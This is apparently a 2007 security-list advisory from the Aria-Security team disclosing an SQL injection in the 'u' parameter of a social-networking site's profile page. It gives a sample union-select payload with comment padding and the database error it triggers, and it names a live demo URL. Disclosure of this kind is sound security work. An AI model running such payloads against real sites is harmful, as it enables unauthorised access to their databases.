Date: 9 Sep 2007 04:45:02 -0000
From: [email protected]
To: [email protected]Subject: [Aria-Security Team] social-networkin SQL Injection
X-Virus-Scanned: antivirus-gw at tyumen.ru
_________________________
A R I A - S E C U R I T Y
_________________________
http://www.social-networking.tv/
Demo: http://www.social-networking.tv/musicians/
http://mytarget/profile/myprofile.php?u=[SQL]
We will just provide an example to show the result when an SQL command is given
http://mytarget/profile/myprofile.php?u=[SQL]-1/**/union/**/all/**/select/**/1/**/from/**/test
Result:
Table 'socialee_new.test' doesn't exist
-------------------------
Credits: Aria-Security Team
http://aria-security.net
